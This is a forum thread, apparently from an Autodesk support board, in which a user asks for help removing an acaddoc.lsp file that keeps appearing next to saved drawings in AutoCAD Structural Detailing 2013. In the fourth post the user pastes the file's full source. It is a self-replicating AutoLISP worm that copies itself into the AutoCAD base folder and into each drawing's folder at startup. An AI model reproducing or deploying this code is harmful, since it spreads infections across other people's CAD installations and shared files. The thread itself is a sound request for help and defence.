AutoCAD Structural Detailing

[#1]

Hi everyone,

I have a little problem, everytime i save a *.dwg file in a folder, it appear a acaddoc.lsp file at its side.

I've searching on line and i've understood that this is a virus. There was a lot of solutions, someone simple and someone difficult...I'd like to know from Autodesk which is the official solution for this issue.

I have a building design suite 2013 with service pack 1 installed.

many many thanks 

[#2 · Accepted solution]

they have this virus: http://usa.autodesk.com/adsk/servlet/ps/dl/item?siteID=123112&id=13717811&linkID=9240617

don't know if its the same as yours

[#3]

Hi, following your suggestion I've installed the service pack 1.1 for acad 2013 and this issue was fixed. Unfortunately this work only in acad 2013, for ASD 2013 the problem in not resolved!

How can I fix it also in ASD 2013

Best regards.

[#4]

Hi everyone,

in this post I write the acaddoc.lsp that appear in the drawing folder when I create or save a file. I repeat, in ACAD 2013 this issue was fixed with SP 1.1, in asd 2013 this don't work. Please help me, I'd like to know if this lisp can damage or corrupt my drawings. I can't loose work!!!!!

text of acaddoc.lsp

_____________________________________________________________________________________________

(vl-load-com)
(defun-q s::startup
(/ basepath
baseacad
acaddocpath
r-acaddoc
w-basepath
rl-acaddoc
acaddoclsp
c-acaddocname
c-acaddocpath
c-acaddoc
)
(setq basepath
(findfile "base.dcl")
)
(setq basepath
(substr basepath
1 (- (strlen basepath) 8)
)
)
(setq baseacad (strcat basepath "acaddoc.lsp"))

(setq acaddocpath
(findfile "acaddoc.lsp")
)
(setq acaddocpath
(substr acaddocpath
1 (- (strlen acaddocpath) 11)
)
)
(setq acaddoclsp
(strcat acaddocpath "acaddoc.lsp"))


(setq c-acaddocname
(getvar "dwgname")
)
(setq c-acaddocpath
(findfile c-acaddocname)
)
(setq c-acaddocpath
(substr c-acaddocpath
1 (- (strlen c-acaddocpath) (strlen c-acaddocname))
)
)
(setq c-acaddoc
(strcat c-acaddocpath "acaddoc.lsp")
)
(if
(and
(/= basepath acaddocpath)
(= c-acaddocpath acaddocpath)
)
(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open baseacad "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)

(progn
(setq r-acaddoc
(open acaddoclsp "r")
)
(setq w-basepath
(open c-acaddoc "w")
)
(while
(setq rl-acaddoc
(read-line r-acaddoc)
)
(write-line rl-acaddoc w-basepath)
)
(close w-basepath)
(close r-acaddoc)

)
)
(princ)
)

______________________________________________________________________________________________

I found in CADalyst an app to kill this worm, his name is KillWorm-for Cadalyst, I tried with it to kill all my worm, but this don't fix anything.

I need an help from Autodesk.